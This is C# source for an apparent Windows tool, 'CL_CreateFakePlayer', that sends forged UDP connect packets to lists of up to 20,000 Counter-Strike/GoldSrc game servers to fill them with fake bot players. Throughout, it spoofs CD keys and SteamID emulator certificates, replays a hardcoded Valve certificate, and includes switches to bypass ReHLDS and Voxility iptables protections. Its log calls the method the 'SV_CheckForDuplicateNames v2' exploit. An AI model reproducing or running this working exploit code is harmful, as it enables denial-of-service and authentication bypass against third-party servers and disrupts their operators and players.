private void timer1_Tick_1(object sender, EventArgs e)
        {
            if (delaycheck.Checked == true)
            {
                int value;
                if (int.TryParse(delay.Text, out value))
                {
                    if (value > 0)
                    {
                        LoopForClCreateClientFakeplayer.Interval = value;
                    }
                }
            }
            if (delaycheck.Checked == false)
            {
                LoopForClCreateClientFakeplayer.Interval = 1;
            }

            if (delaycheck.Checked == true)
            {
                delay.Enabled = true;
                Stop.Enabled  = true;
                RepeatCreateFakePlayer.Start();
            }
            if (delaycheck.Checked == false)
            {
                delay.Enabled = false;
                Stop.Enabled  = false;
                RepeatCreateFakePlayer.Stop();
            }
        }
 private void sv_password_TextChanged(object sender, EventArgs e)
 {
     if (sv_password.Text.Length >= 40)
     {
         RepeatCreateFakePlayer.Stop();
         MessageBox.Show("Server password is limit 40", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
         sv_password.Text = null;
         return;
     }
 }
 private void NameText_TextChanged(object sender, EventArgs e)
 {
     if (NameText.Text.Length >= 20)
     {
         RepeatCreateFakePlayer.Stop();
         MessageBox.Show("Player username max string is 20", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
         NameText.Text = RandomStringSteamID(7);
         return;
     }
 }
 private void ServerList_TextChanged(object sender, EventArgs e)
 {
     if (ServerList.Lines.Length >= 20000)
     {
         RepeatCreateFakePlayer.Stop();
         MessageBox.Show("Server list is maxim (max is 20000)", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
         ServerList.Clear();
         groupBoxServers.Text = "Servers : " + ServerList.Lines.Where(line => !String.IsNullOrEmpty(line)).Count().ToString();
         return;
     }
     groupBoxServers.Text = "Servers : " + ServerList.Lines.Where(line => !String.IsNullOrEmpty(line)).Count().ToString();
 }
 private void Stop_Click(object sender, EventArgs e)
 {
     if (Stop.Text == "Stop Loop")
     {
         RepeatCreateFakePlayer.Stop();
         LoopForClCreateClientFakeplayer.Stop();
         Stop.Text = "Reactivate Loop";
     }
     else if (Stop.Text == "Reactivate Loop")
     {
         LoopForClCreateClientFakeplayer.Start();
         Stop.Text = "Stop Loop";
     }
 }
        private async void button1_Click(object sender, EventArgs e)
        {
            int GetServersAll = ServerList.Lines.Length;

            if (spoofname.Checked == true)
            {
                NameText.Text    = RandomStringSteamID(7);
                NameText.Enabled = false;
            }
            if (spoofname.Checked == false)
            {
                NameText.Enabled = true;
            }
            if (String.IsNullOrEmpty(delay.Text))
            {
                RepeatCreateFakePlayer.Stop();
                MessageBox.Show("Delay is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
                delay.Text = "1000";
                return;
            }
            if (String.IsNullOrEmpty(ServerList.Text))
            {
                RepeatCreateFakePlayer.Stop();
                MessageBox.Show("ServerList is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            if (String.IsNullOrEmpty(NameText.Text))
            {
                RepeatCreateFakePlayer.Stop();
                MessageBox.Show("Player username is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
                NameText.Text = RandomStringSteamID(7);
                return;
            }
            if (LoopForClCreateClientFakeplayer.Interval == 0 || RepeatCreateFakePlayer.Interval == 0)
            {
                MessageBox.Show("Delay is 0", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error);
                delay.Text = "1000";
                return;
            }

            for (int i = 0; i < ServerList.Lines.Length; i++)
            {
                int CalculateServersattacked = 1 + i;

                groupBoxServers.Text = "UDP Sended : " + CalculateServersattacked + "/" + ServerList.Lines.Length;

                this.CL_CreateFakePlayer(ServerList.Lines[i] + "\r\n", buffer);

                await Task.Delay(30);

                if (CalculateServersattacked == ServerList.Lines.Length)
                {
                    groupBoxServers.Text = "Servers : " + ServerList.Lines.Where(line => !String.IsNullOrEmpty(line)).Count().ToString();
                }
            }

            if (delaycheck.Checked == true)
            {
                delay.Enabled = true;
                Stop.Enabled  = true;
                RepeatCreateFakePlayer.Start();
            }
            if (delaycheck.Checked == false)
            {
                delay.Enabled = false;
                Stop.Enabled  = false;
                RepeatCreateFakePlayer.Stop();
            }
            if (delaycheck.Checked == true)
            {
                int value;
                if (int.TryParse(delay.Text, out value))
                {
                    if (value > 0)
                    {
                        LoopForClCreateClientFakeplayer.Interval = value;
                    }
                }
            }
            if (delaycheck.Checked == false)
            {
                LoopForClCreateClientFakeplayer.Interval = 1;
            }
        }
        public string CL_CreateFakePlayer(string address, string setinfo)
        {
            try
            {
                string SV_CheckForDuplicateNames_method1 = "\"";
                string SV_CheckForDuplicateNames_method2 = "." + RandomSV_CheckForDuplicateNamesBug2(1) + ".";


                Random ra  = new Random();
                int    r1  = ra.Next(1, 1024);
                int    r2  = ra.Next(0, 2);
                int    r3  = ra.Next(0, 1);
                int    r4  = ra.Next(0, 1);
                int    r5  = ra.Next(0, 300);
                int    r6  = ra.Next(1, 20);
                int    r7  = ra.Next(20, 150);
                int    r8  = ra.Next(0, 1024);
                int    r9  = ra.Next(3500, 50000);
                int    r91 = ra.Next(60000 - 30000);


                var modelsn = new List <string> {
                    "arctic", "gign", "gsg9", "leet", "sas", "terror", "urban", "vip", "guerilla",
                };

                int index = random.Next(modelsn.Count);
                var model = modelsn[index];
                modelsn.RemoveAt(index);


                //Protinfo packet

                string userkey = "\\prot\\3\\unique\\-1\\raw\\steam\\cdkey\\" + CDKeyGenerator(32) + " ";

                // Setinfo packet

                string userinfo = "\\name\\" +
                                  NameText.Lines[0] +
                                  SV_CheckForDuplicateNames_method1 +
                                  "\\_cl_autowepswitch\\" + r3 +
                                  "\\bottomcolor\\" + r7 +
                                  "\\cl_dlmax\\" + r8 +
                                  "\\cl_lc\\" + r3 +
                                  "\\cl_lw\\" + r3 +
                                  "\\cl_updaterate\\" + r6 +
                                  "\\model\\" + model +
                                  "\\topcolor\\" + r5 +
                                  "\\_vgui_menus\\" + r2 +
                                  "\\rate\\" + r9 + "\"";

                string userinfo2 = "\\name\\" +
                                   NameText.Lines[0]
                                   + SV_CheckForDuplicateNames_method2
                                   + "\\_cl_autowepswitch\\" + r3 +
                                   "\\bottomcolor\\" + r7 +
                                   "\\cl_dlmax\\" + r8 +
                                   "\\cl_lc\\" + r3 +
                                   "\\cl_lw\\" + r3 +
                                   "\\cl_updaterate\\" + r6 +
                                   "\\model\\" + model +
                                   "\\topcolor\\" + r5 +
                                   "\\_vgui_menus\\" + r2 +
                                   "\\rate\\" + r9;

                if (spoofname.Checked == true)
                {
                    NameText.Text    = RandomStringSteamID(7);
                    NameText.Enabled = false;
                }
                if (spoofname.Checked == false)
                {
                    NameText.Enabled = true;
                }

                string fullstring  = userkey + setinfo + userinfo;
                string fullstring2 = userkey + setinfo + userinfo2;

                for (int i = 0; i < 2; i++)
                {
                    List <byte> list     = new List <byte>();
                    string[]    array    = address.Split(new char[] { ':' });
                    IPEndPoint  remoteEP = new IPEndPoint(IPAddress.Parse(array[0]), Convert.ToInt32(array[1]));
                    Socket      socket   = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    socket.SendTimeout    = 1000;
                    socket.ReceiveTimeout = 1000;
                    socket.Connect(remoteEP);

                    byte[] array2 = new byte[2048];
                    socket.Send(new byte[] {
                        0xff, 0xff, 0xff, 0xff, 0x67,
                        0x65, 0x74, 0x63, 0x68, 0x61,
                        0x6c, 0x6c, 0x65, 0x6e, 0x67,
                        0x65, 0x20, 0x73, 0x74, 0x65, 0x61, 0x6d,
                        0x0A
                    });      // 0x0A bypass iptables protection Voxility servers
                    // SV_GetChallenge
                    socket.Receive(array2);

                    string challenge = Encoding.Default.GetString(array2).Split(new char[] { ' ' })[1];

                    list.AddRange(new byte[] { 0xff, 0xff, 0xff, 0xff }); // yyyy(utf8) for make connection
                    list.AddRange(Encoding.Default.GetBytes("connect"));  // SV_ConnectClient
                    list.AddRange(new byte[] { 0x20 });
                    list.AddRange(Encoding.Default.GetBytes("48"));       // SV_CheckProtocol
                    list.AddRange(new byte[] { 0x20 });
                    list.AddRange(Encoding.Default.GetBytes(challenge));
                    list.AddRange(new byte[] { 0x20 });


                    if (!string.IsNullOrEmpty(sv_password.Text))
                    {
                        string withpassword  = userkey + "\\password\\" + sv_password.Text + "" + userinfo;
                        string withpassword2 = userkey + "\\password\\" + sv_password.Text + "" + userinfo2;

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withpassword2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withpassword));
                        }
                    }
                    else
                    {
                        sv_password.Enabled = true;
                    }
                    if (this.steamid.SelectedIndex == 8)
                    {
                        // SXE userinfo
                        string fullstringsxei = userkey + setinfo + "\\*HID\\" + RandomStringSteamID(8) +
                                                userinfo;   // HID is generated by SXE
                        string fullstring2sxei = userkey + setinfo + "\\*HID\\" + RandomStringSteamID(8) +
                                                 userinfo2; // HID is generated by SXE

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring2sxei));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstringsxei));
                        }
                    }
                    else if (this.steamid.SelectedIndex == 7)
                    {
                        sv_password.Clear();
                        sv_password.Enabled = false;

                        // HLTV Userinfo
                        string withhltv = "\\prot\\2\\unique\\-1\\raw\\" + CDKeyGenerator(32) +
                                          "\\ " + "\\*hltv\\1" + userinfo;
                        string withhltv2 = "\\prot\\2\\unique\\-1\\raw\\" + CDKeyGenerator(32) +
                                           "\\ " + "\\*hltv\\1" + userinfo2;

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withhltv2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withhltv));
                        }
                    }
                    else if (string.IsNullOrEmpty(sv_password.Text))
                    {
                        sv_password.Enabled = true;
                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring));
                        }
                    }

                    //Start steamid certificated

                    if (this.steamid.SelectedIndex == 8)
                    {
                        list.AddRange(new byte[] { 0x2E, 0x99, 0x2E, 0x0A, 0x00 }); // SXE
                    }
                    else
                    {
                        list.AddRange(new byte[] { 0x0A }); // validation SV_GetIDString
                    }

                    if (this.steamid.SelectedIndex == 0)
                    {
                        list.AddRange(new byte[] {
                            0x4A, 0x00, 0x00, 0x00, 0x39, 0x05, 0x00, 0x00, 0x76, 0x65, 0x72, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x72, 0x0A, 0x00, 0x00, 0x01, 0x00, 0x10, 0x01, 0x4A, 0x38,
                            0x32, 0x5A, 0x57, 0x51, 0x41, 0x42, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00
                        });

                        // Generate RevEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 1)
                    {
                        //oldrevemu
                        list.AddRange(new byte[] { 0xFF, 0xFF });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(8)));
                        // Generate oldRevEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 2)
                    {
                        //steamemu
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(80)));
                        list.AddRange(new byte[] { 0xff, 0xff, 0xff, 0xff });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(684)));
                        //Generate SteamEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 3)
                    {
                        //avsmp 1
                        list.AddRange(new byte[] { 0x14, 0x00, 0x00, 0x00 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(8)));
                        list.AddRange(new byte[] { 0xFF });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(3)));
                        list.AddRange(new byte[] { 0x01, 0x00, 0x10, 0x01 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(4)));
                        list.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x00 });
                        // Generate AVSMP 1 certificate
                    }
                    if (this.steamid.SelectedIndex == 4)
                    {
                        //avsmp 0
                        list.AddRange(new byte[] { 0x14, 0x00, 0x00, 0x00 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(12)));
                        list.AddRange(new byte[] { 0x01, 0x00, 0x10, 0x01 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(4)));
                        list.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x00 });
                        // Generate AVSMP 0 certificate
                    }
                    if (this.steamid.SelectedIndex == 5)
                    {
                        list.AddRange(new byte[] { 0x7B, 0x7F, 0xCA, 0xD4, 0x23, 0x60, 0xDB, 0xC7, 0x1F, 0x2E, 0x6A, 0x6D, 0x96, 0x2A, 0x1A, 0x21, 0x44, 0x31, 0xC8, 0x3A, 0x05, 0x31, 0xC4, 0xB4 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(744)));
                        // Generate SteamEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 6)
                    {
                        list.AddRange(new byte[] {
                            0x14, 0x00, 0x00, 0x00, 0x33, 0xF3, 0x93, 0x6F, 0x25, 0x9F, 0x5D, 0x73, 0xFE, 0x37, 0x69, 0x17, 0x01, 0x00, 0x10, 0x01, 0xF7, 0xC9, 0xD7, 0x5D, 0xB2, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFE, 0x37, 0x69, 0x17, 0x01, 0x00, 0x10, 0x01, 0x0A, 0x00, 0x00, 0x00, 0x7A, 0x74, 0x79, 0x3E, 0x67, 0x00, 0xA8, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x71, 0x56, 0xD5, 0x5D, 0xF1, 0x05, 0xF1, 0x5D, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xD0, 0xCB, 0xCD, 0x16, 0xBD, 0xB9, 0xBE, 0x28, 0x34, 0x22, 0x77, 0x69, 0xBC, 0x51, 0x59, 0xA4, 0xE9, 0x56, 0x17, 0xD0, 0x2B, 0xD2, 0xCE, 0x35, 0x5E, 0xB1, 0x57, 0x87, 0x66, 0x9A, 0x8D, 0x37, 0xC8, 0xC2, 0xFF, 0xC6, 0x8B, 0xBD, 0x50, 0x7C, 0x5C, 0x6E, 0xCC, 0x8D, 0xEE, 0x31, 0xB1, 0x9D, 0xD1, 0x63, 0x87, 0x35, 0x81, 0x62, 0x36, 0x76, 0x49, 0xB9, 0x87, 0x2A, 0x65, 0xDF, 0x43, 0xAA, 0xCD, 0x87, 0x81, 0xA3, 0x8A, 0xED, 0xA1, 0xAF, 0x57, 0x87, 0xAC, 0x85, 0xBA, 0x0F, 0xC1, 0x4D, 0x20, 0xBA, 0x7E, 0xA3, 0x5B, 0x3E, 0xB4, 0x98, 0xC4, 0x9F, 0xE4, 0x2F, 0xCB, 0xD7, 0xA6, 0x04, 0x6C, 0xE2, 0x2E, 0x67, 0xF5, 0x23, 0xC4, 0xF5, 0x38, 0x55, 0x24, 0x0C, 0x91, 0x40, 0xCA, 0x07, 0x86, 0x6C, 0xF6, 0x45, 0x43, 0x84, 0x45, 0x02, 0x91, 0xCD, 0x91, 0xA4, 0xFC, 0x85, 0x62, 0xC9
                        });
                        // Generate NativeSteam by Valve certificate
                        // This packet is sended by native of Valve (original SteamID)
                        // Note : it should be changed automatically to 14 days as it expires
                    }

                    socket.Send(list.ToArray());

                    if (Log.Checked == true)
                    {
                        socket.Receive(array2);
                        //Recive server info


                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("" + this.ServerList.Lines[i] + " : Bot name : " + NameText.Text + " (Emulator : " + steamid.Text + ")\n");
                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("" + this.ServerList.Lines[i] + " : Exploit : SV_CheckForDuplicateNames v2 \n");
                        LogText.SelectionStart = LogText.Text.Length;
                        string correctinfo = Encoding.Default.GetString(array2).Replace("ÿ", null).Replace("9", null).Replace("8", null);
                        if (correctinfo.Contains("B "))
                        {
                            string useridplayer = Encoding.Default.GetString(array2).Split(new char[] { ' ' })[1];
                            LogText.AppendText("" + this.ServerList.Lines[i] + " : ServerRecv : Bot is successfully connected (UserID : " + useridplayer + ")\n");
                        }
                        else
                        {
                            LogText.AppendText("" + this.ServerList.Lines[i] + " : ServerRecv : " + correctinfo);
                        }
                        if (correctinfo.Contains("Invalid userinfo in connect command"))
                        {
                            LogText.AppendText("CL_CreateFakePlayer : This server is secured, please activate \"Bypass ReHLDS\" \n");
                            list.AddRange(Encoding.Default.GetBytes(fullstring2));
                        }
                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("--------------------------------------------------------------------------\n");
                    }

                    list.Clear();
                }
                if (delaycheck.Checked == false)
                {
                    RepeatCreateFakePlayer.Stop();
                }
            }
            catch (Exception)
            {
                RepeatCreateFakePlayer.Stop();
            }
            return(address);
        }